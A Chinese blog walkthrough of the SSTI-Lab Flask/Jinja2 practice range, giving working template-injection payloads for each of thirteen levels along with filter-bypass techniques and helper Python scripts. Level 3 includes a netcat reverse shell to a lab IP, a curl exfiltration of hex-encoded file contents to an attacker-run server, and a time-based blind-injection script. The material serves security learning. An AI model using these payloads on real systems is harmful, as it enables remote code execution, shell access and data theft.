SSTI-Lab通关全详解

前言

最近做到了SSTI的题,但弄得并不是很懂,所以这里找sstilabs靶场训练一下。

sstilabs本来应该有3种类型的题目,但目前只出了flask的。如果想要更全的题型,可以去看看websitesVulnerableToSSTI(这俩靶场都可以在github上找到)。

Level 1

这一关no waf,我们直接注入即可。

这里提一下SSTI常用注入模块。

image-20250215213907779

我们这里用第三种,

首先我们需要写脚本判断

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
import requests

url = 'http://192.168.230.133:18080/flasklab/level/1'# 请输入URL链接
for i in range(500):
data = {"code": "{{().__class__.__base__.__subclasses__()[" + str(i) + "].__init__.__globals__}}"}
try:
response = requests.post(url, data=data)
# print(response.text)
if response.status_code == 200:
if 'os.py' in response.text:
# print(response.text)
print(i)
except:
pass
'''
需要修改URL和data
利用方式:{{().__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen("cat /etc/passwd").read()}}
注意:这里的199是脚本求出来的,而且脚本求的未必正确,有时候要多试几次
'''

运行结果

image-20250216102621740

上面的数字都可以试,不过有部分可能不好使,这里我们试试199,

{{().__class__.__base__.__subclasses__()[199].__init__.__globals__['os'].popen("cat flag").read()}}

image-20250216102801393

还有更方便的方法,就是从内置函数中直接调用os模块,例如下面几种

1
2
3
4
5
6
7
{{config.__class__.__init__.__globals__['os'].popen("ls").read()}}

{{url_for.__globals__.os.popen("ls").read()}}

{{lipsum.__globals__['os'].popen('ls').read()}}

{{lipsum.__globals__.os.popen('ls').read()}}

这样就不用写脚本从各个subclasses中找os模块了。

这里我们提一下常见的内置函数和内置对象(后面会用到,这里简单了解)

类型 名称/方法 描述 典型用途
内置函数 lipsum 用于生成 Lorem Ipsum 占位文本,默认提供多段随机文本。 模板中填充测试内容。
内置函数 url_for 根据视图函数名生成对应的 URL 路径,支持动态参数。 生成链接。
内置函数 get_flashed_messages 获取通过 flash() 方法设置的闪现消息,通常用于一次性提示(如成功/错误消息)。 显示消息。
内置对象 cycler Jinja2 的循环状态管理工具,用于跟踪迭代进度(如奇偶行标记)。 标记交替行。
内置对象 joiner Jinja2 的字符串拼接工具,自动处理分隔符(如逗号)。 拼接列表。
内置对象 namespace 用于在模板中创建变量命名空间,避免变量冲突。 定义局部变量。
内置对象 config 包含 Flask 应用的配置信息(如 SECRET_KEY、数据库连接等)。 读取配置(需注意敏感信息泄露风险)。
内置对象 request 封装当前 HTTP 请求的详细信息(参数、头、Cookies 等)。 获取 GET 参数。
内置对象 session 用于读写用户会话数据(基于 Cookie 加密存储)。 存储用户状态。

注意:.可以与['']互相替换,比如__globals__['os']可以换为__globals__.os,所以下面两句是等价的

1
2
3
{{lipsum.__globals__['os'].popen('ls').read()}}

{{lipsum.__globals__.os.popen('ls').read()}}

image-20250215214438190

Level 2

这关过滤{{}},我们可以用{%%}代替,但是要注意使用print输出

{%print lipsum.__globals__.os.popen('cat flag').read()%}

或者

{%print(lipsum.__globals__.os.popen('cat flag').read())%}

image-20250215215323534

Level 3

这一关没回显。

这种情况下我们往往考虑三种方法:

  1. 反弹shell

  2. 带外注入(DNSlog、wget等)

  3. 盲注

我们每种都试一下。

第一种方法,

先在kali上开启监听nc -lvp 7777

然后执行{{lipsum.__globals__.os.popen('nc 192.168.230.133 7777 -e /bin/bash')}}

image-20250714000047751

反弹shell成功

image-20250215220409424

第二种方法,

sstilabs应该是不出网的,用DNSlog有些困难了

这里在kali里用python开启一个http服务

1
python -m http.server 80

然后去访问

1
{{lipsum.__globals__.os.popen('curl http://192.168.230.133/`cat flag | xxd -p`')}}

image-20250215222441088

这里一开始单纯使用cat flag,但是发现特殊符号会消失(比如{}),所以改为16进制输出cat flag | xxd -p

image-20250215222627980

第三种,

这里直接写出脚本

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
import requests
import time

url = ''

def check(payload):
postdata = {
'code': payload
}
start_time = time.time()
response = requests.post(url, data=postdata)
end_time = time.time()
elapsed_time = end_time - start_time
# 如果响应时间超过1秒,则认为条件为真
if elapsed_time > 1:
return True
return False

password = ''
s = r'0123456789abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ!"$\'()*+,-./:;<=>?@[\\]^`{|}~\'"_%'

for i in range(0, 100):
for c in s:
# 使用时间盲注的payload,通过执行系统命令 sleep 1 来引入延迟
payload = '{% if lipsum.__globals__.os.popen("cat flag").read()[' + str(i) + ':' + str(i+1) + '] == "' + c + '" and lipsum.__globals__.os.popen("sleep 1").read() %}{% endif %}'
if check(payload):
password += c
print(password)
break

print(password)
#需要修改URL和postdata

image-20250215224842500

Level 4

这一关过滤中括号

我们第一关提到:.可以与['']互相替换,比如__globals__['os']可以换为__globals__.os,其实,['']还可以用__getintm__('')替换,即__globals__['os']可以换为__globals__.__getitem__('os')。此外还有更多的方法,这里把常见的获取键值或下标的方式进行总结(可以知道,这些都是等价的)。

获取键值或下标的方式(下面的__builtins__及0仅作为例子,实际应用请更换)

1
2
3
4
5
6
7
8
9
10
dict.__builtins__
dict['__builtins__']
dict.get('__builtins__')
dict.pop('__builtins__')
dict.__getitem__('__builtins__')
dict.setdefault('__builtins__')

list[0]
list.__getitem__(0)
list.pop(0)

获取属性的方式

1
2
3
4
().__class__
()["__class__"]
()|attr("__class__")
().__getattribute__("__class__")

payload之一{{lipsum.__globals__.os.popen('ls').read()}}中虽然本来就没有中括号,

但是第一关提到的{{lipsum.__globals__['os'].popen('ls').read()}}中有,

根据上面,我们可以换为(其中,pop要谨慎使用,使用一次就会弹出,所以仅有一次机会,这里不建议使用):

1
2
3
4
5
6
7
{{lipsum.__globals__.get('os').popen('ls').read()}}

{{lipsum.__globals__.pop('os').popen('ls').read()}}

{{lipsum.__globals__.__getitem__('os').popen('ls').read()}}

{{lipsum.__globals__.setdefault('os').popen('ls').read()}}

可知,上面6句都是等价的。

image-20250216105441416

Level 5

过滤单双引号

这里我们要引入request:request 在 Flask 中可以访问基于 HTTP 请求传递的所有信息。

此 request 并非 Python 的函数,而是在 Flask 内部的函数。

属性/方法 描述
request.args.key 获取 GET 请求中传入的 key 的值。
request.values.参数名 获取所有参数(包括 GET 和 POST)。
request.cookies 获取传入的 cookies 参数。
request.headers 获取请求头中的参数。
request.form.key 获取 POST 请求中传入的 key 的值(Content-Type 为 application/x-www-form-urlencoded 或 multipart/form-data)。
request.data 获取 POST 请求中传入的参数(Content-Type:a/b )。
request.json 获取 POST 请求中传入的 JSON 参数(Content-Type 为 application/json)。

我们这里试试GET的

我们的payload{{lipsum.__globals__.os.popen('ls').read()}}中系统命令处有引号,所以我们替换为

{{lipsum.__globals__.os.popen(request.args.k1).read()}}

image-20250216114325149

试试POST

code={{lipsum.__globals__.os.popen(request.form.x1).read()}}&x1=cat flag

image-20250216114210921

Level 6

这关过滤下划线

这里我们讲一下flask常用过滤器:

flask常用过滤器 描述
length() 获取一个序列或者字典的长度并将其返回。
int() 将值转换为 int 类型。
float() 将值转换为 float 类型。
lower() 将字符串转换为小写。
upper() 将字符串转换为大写。
reverse() 反转字符串。
replace(value,old,new) 将 value 中的 old 替换为 new。
list() 将变量转换为列表类型。
string() 将变量转换成字符串类型。
join() 将一个序列中的参数值拼接成字符串,通常与 Python 内置的 dict() 配合使用。
attr() 获取对象的属性。

过滤器通过管道符号 (|) 与变量连接,并且在括号中可能有可选的参数。

应对过滤下划线,我们以下几种方法:

  1. 使用request方法(结合过滤器attr)

  2. 使用hex编码

  3. 使用unicode编码

  4. 使用base64编码(不建议用,仅python2支持)

  5. 格式化字符串

{{lipsum.__globals__.os.popen('ls').read()}}中有__globals__

第1种,

这里我们需要使用过滤器attr,所以应该将

{{lipsum.__globals__.os.popen('ls').read()}}

换为

{{lipsum.__globals__.__getitem__('os').popen('ls').read()}}

然后再转换

1
{{lipsum|attr(request.args.globals)|attr(request.args.getitem)('os')|attr('popen')('ls')|attr('read')()}}

注意GET传参?globals=__globals__&getitem=__getitem__

第2种,

_编码后为\x5f

1
{{lipsum['\x5f\x5fglobals\x5f\x5f'].os.popen('cat flag').read()}}

第3种,

1
2
3
{{lipsum['\u005f\u005fglobals\u005f\u005f'].os.popen('cat flag').read()}}

{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}

第4种,

(不建议,这里不好使)

1
{{()|attr('X19jbGFzc19f'.decode('base64'))|attr('X19iYXNlX18='.decode('base64'))|attr('X19zdWJjbGFzc2VzX18='.decode('base64'))()|attr('X19nZXRpdGVtX18='.decode('base64'))(213)|attr('X19pbml0X18='.decode('base64'))|attr('X19nbG9iYWxzX18='.decode('base64'))|attr('X19nZXRpdGVtX18='.decode('base64'))('os')|attr('popen')('cat flag')|attr('read')()}}

第5种,

1
2
3
{{lipsum["%c%cglobals%c%c"%(95,95,95,95)].os.popen('cat flag').read()}}

{{lipsum|attr("%c%cglobals%c%c"%(95,95,95,95))|attr("%c%cgetitem%c%c"%(95,95,95,95))("os")|attr("popen")("cat flag")|attr("read")()}}

Level 7

过滤点

我们有两种方法:

  1. 用中括号代替点(见第四关)
  2. 用attr()绕过

第一种,

{{lipsum.__globals__.os.popen('ls').read()}}

改为

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

1
2
3
4
5
6
{{lipsum['\x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f']['\x6f\x73']['\x70\x6f\x70\x65\x6e']('\x6c\x73')['\x72\x65\x61\x64']()}}
__globals__ 5F5F676C6F62616C735F5F \x5f\x5f\x67\x6c\x6f\x62\x61\x6c\x73\x5f\x5f
os 6F73 \x6f\x73
popen 706F70656E \x70\x6f\x70\x65\x6e
ls 6C73 \x6c\x73
read 72656164 \x72\x65\x61\x64

第二种,

1
2
3
4
5
{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}

{{lipsum|attr("\u005f\u005fglobals\u005f\u005f")|attr("\u005f\u005fgetitem\u005f\u005f")("os")|attr("popen")("cat flag")|attr("read")()}}

{{lipsum|attr("%c%cglobals%c%c"%(95,95,95,95))|attr("%c%cgetitem%c%c"%(95,95,95,95))("os")|attr("popen")("cat flag")|attr("read")()}}

Level 8

过滤关键字“class”, “arg”, “form”, “value”, “data”, “request”, “init”, “global”, “open”, “mro”, “base”, “attr”

这里有5种方法:

  1. 字符编码
  2. 字符拼接
  3. 使用Jinja2中的~拼接
  4. 使用过滤器(reverse反转、replace替换、join拼接)
  5. 利用python的char()

第一种前面用过,这里就不再提了

第二种,

{{lipsum['__globals__']['os']['popen']('ls')['read']()}}

改为

1
2
3
{{lipsum['__glo''bals__']['os']['pop''en']('ls')['read']()}}

{{lipsum['__glo'+'bals__']['os']['pop'+'en']('cat flag')['read']()}}

第三种,

1
{%set a='__glo'%}{%set b='bals__'%}{%set c='po'%}{%set d='pen'%}{{lipsum[a~b]['os'][c~d]('ls')['read']()}}

第四种,

1
2
3
{%set a="__slabolg__"|reverse%}{%set b="nepop"|reverse%}{{lipsum[a]['os'][b]('ls')['read']()}}

{%set a="__gmmbals__"|replace("mm","lo")%}{%set b="pommn"|replace("mm","pe")%}{{lipsum[a]['os'][b]('ls')['read']()}}

第五种,

从内置函数里面获取 ASCII 解码功能,并赋值给变量 chr,从而使得chr变为可以ASCII 解码的函数

原理大概是这样,但下面payload有问题,并不好使

1
{% set chr=url_for.__globals__['__builtins_'].chr %}{{""[chr(95)%2bchr(95)%2bchr(99)%2bchr(108)%2bchr(97)%2bchr(115)%2bchr(115)%2bchr(95)%2bchr(95)]}}

Level 9

过滤数字

但我们的payload并没有数字{{lipsum.__globals__.os.popen('ls').read()}}

为了学习,我们这里还是讲如何构造数字,比如我们构造10:

{%set a='aaaaaaaaaa'|length%}{{a}}

image-20250216155226644

然后我们构造199,利用第一关的payload

1
{%set a='aaaaaaaaaa'|length*'aaaaaaaaaa'|length*'aa'|length-'a'|length%}{{().__class__.__base__.__subclasses__()[a].__init__.__globals__['os'].popen("cat flag").read()}}

image-20250216155604275

Level 10

直接获取config失败

image-20250216160126527

还有别的获取config的方法

1
2
{{url_for.__globals__['current_app'].config}}
{{get_flashed_messages.__globals__['current_app'].config}}

这里我们可以返回再看一下常见的内置函数和内置对象

Level 11

过滤了部分符号,有‘’', ‘"’, ‘+’, ‘request’, ‘.’, ‘[’, ‘]’

这里我们需要用join过滤器

比如构造__globals__

{%set a=dict(__glob=1,als__=2)|join%}{{a}}

image-20250216173019968

所以我们需要逐步将{{lipsum|attr('__globals__')|attr('__getitem__')('os')|attr('popen')('ls')|attr('read')()}}构造出来,

1
2
3
4
5
6
7
{%set a=dict(__glob=1,als__=2)|join%}
{%set b=dict(__get=1,item__=2)|join%}
{%set c=dict(o=1,s=2)|join%}
{%set d=dict(po=1,pen=2)|join%}
{%set cmd=dict(l=1,s=2)|join%}
{%set e=dict(re=1,ad=2)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(d)(cmd)|attr(e)()}}

image-20250216174027068

但是cat flag中间有空格,通过上面的方法只能构造catflag

下面我们讲一下获取符号。

获取符号的几种语句:

1
2
3
4
5
6
7
8
{%set kg=({}|select()|string())%}{{kg}} # 获取空格、下划线,结果:<generator object select_or_reject at 0x7f838c27f4c0>

{%set kg=(self|string())%}{{kg}} # 获取空格,结果:<TemplateReference None>

{%set kg=(self|string|urlencode)%}{{kg}} # 获取百分号,结果:%3CTemplateReference%20None%3E

{%set kg=(app.__doc__|string)%}{{kg}} # 获取空格、单引号、反引号,结果太长

我们以{%set kg=({}|select()|string())%}{{kg}}为例,详细讲解如何获取符号,

先看看都有啥符号

image-20250216204044629

换成list格式,{%set kg=({}|select()|string())|list%}{{kg}}

然后数自己想要的符号是第几个(从0开始数)

![image-20250216203942888](E:\Program Files\Typora\typora_user_images\image-20250216203942888.png)

可以数到我们想要的空格在第10位,用{%set kg=({}|select()|string())[10]%}{{kg}}来取

但是这里过滤方括号,根据第四关,我们改为{%set kg=({}|select()|string())|attr('__getitem__')(10)%}{{kg}}

然后可以用join构造的__getitem__代替上句中的,构造如下

1
2
3
4
5
6
7
8
9
{%set a=dict(__glob=1,als__=2)|join%}
{%set b=dict(__get=1,item__=2)|join%}
{%set c=dict(o=1,s=2)|join%}
{%set d=dict(po=1,pen=2)|join%}
{%set kg=({}|select()|string())|attr(b)(10)%}
{%set cmd=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%}
{%set e=dict(re=1,ad=2)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(d)(cmd)|attr(e)()}}

或者

1
2
3
4
5
6
7
8
9
{%set f=dict(po=x,p=y)|join%}
{%set kg=(lipsum|string|list)|attr(f)(9)%}
{%set a=dict(__glob=1,als__=2)|join%}
{%set b=dict(__get=1,item__=2)|join%}
{%set c=dict(o=1,s=2)|join%}
{%set d=dict(po=1,pen=2)|join%}
{%set cmd=(dict(cat=1)|join,kg,dict(flag=2)|join)|join%}
{%set e=dict(re=1,ad=2)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(d)(cmd)|attr(e)()}}

image-20250216182054538

Level 12

过滤了数字和部分符号,有‘_’, ‘.’, ‘0-9’, ‘\’, ‘’', ‘"’, ‘[’, ‘]’

构造空格{%set kg=(lipsum|string|list)|attr('pop')(9)%}{{kg}}

构造下划线{%set xhx=(lipsum|string|list)|attr('pop')(18)%}{{xhx}}

但这里有过滤了数字,所以我们还要构造数字,如下

1
2
3
4
5
6
7
8
9
10
11
12
13
{% set nine=dict(aaaaaaaaa=x)|join|count %}
{% set eighteen=nine+nine %}
{%set f=dict(po=x,p=y)|join%}
{%set xhx=(lipsum|string|list)|attr(f)(eighteen)%}
{%set kg=(lipsum|string|list)|attr(f)(nine)%}
{%set a=(xhx,xhx,dict(glob=x)|join,dict(als=y)|join,xhx,xhx)|join%}
{%set b=(xhx,xhx,dict(get=x)|join,dict(item=y)|join,xhx,xhx)|join%}
{%set c=dict(o=x,s=y)|join%}
{%set d=dict(po=x,pen=y)|join%}
{%set e=dict(re=x,ad=y)|join%}
{%set cmd=(dict(cat=x)|join,kg,dict(flag=y)|join)|join%}
{{lipsum|attr(a)|attr(b)(c)|attr(d)(cmd)|attr(e)()}}

更易读一些的payload:

1
2
3
4
5
6
7
8
9
10
11
12
{% set nine=dict(aaaaaaaaa=a)|join|count %}
{% set eighteen=nine+nine %}
{% set pop=dict(pop=a)|join %}
{% set xhx=(lipsum|string|list)|attr(pop)(eighteen) %}
{% set kg=(lipsum|string|list)|attr(pop)(nine) %}
{% set globals=(xhx,xhx,dict(globals=a)|join,xhx,xhx)|join %}
{% set getitem=(xhx,xhx,dict(getitem=a)|join,xhx,xhx)|join %}
{% set os=dict(os=a)|join %}
{% set popen=dict(popen=a)|join %}
{% set flag=(dict(cat=a)|join,kg,dict(flag=a)|join)|join %}
{% set read=dict(read=a)|join %}
{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(flag)|attr(read)()}}

Level 13

过滤了部分符号和关键字,有‘_’, ‘.’, ‘\’, ‘’', ‘"’, ‘request’, ‘+’, ‘class’, ‘init’, ‘arg’, ‘config’, ‘app’, ‘self’, ‘[’, ‘]’

改掉level11的下划线或者改掉level12的加号

1
2
3
4
5
6
7
8
9
10
11
12
13
{% set pop=dict(pop=a)|join %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(18)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set space=(lipsum|string|list)|attr(pop)(9)%}
{% set os=dict(os=a)|join%}
{% set popen=dict(popen=a)|join%}
{% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%}
{% set read=dict(read=a)|join%}

{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}

或者

1
2
3
4
5
6
7
8
9
10
11
12
13
14
{%set one=dict(a=a)|join|count%} 
{%set eight=dict(aaaaaaaa=a)|join|count%}
{%set nine=dict(aaaaaaaaa=a)|join|count%}
{%set eighteen=(one~eight)|int%}
{% set pop=dict(pop=a)|join %}
{% set xiahuaxian=(lipsum|string|list)|attr(pop)(eighteen)%}
{% set globals=(xiahuaxian,xiahuaxian,dict(globals=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set getitem=(xiahuaxian,xiahuaxian,dict(getitem=a)|join,xiahuaxian,xiahuaxian)|join%}
{% set space=(lipsum|string|list)|attr(pop)(nine)%} {% set os=dict(os=a)|join%}
{% set popen=dict(popen=a)|join%} {% set cat=dict(cat=a)|join%}
{% set cmd=(cat,space,dict(flag=a)|join)|join%} {% set read=dict(read=a)|join%}

{{lipsum|attr(globals)|attr(getitem)(os)|attr(popen)(cmd)|attr(read)()}}


SSTI-Lab通关全详解
http://example.com/2025/test25/
作者
sangnigege
发布于
2025年7月13日
许可协议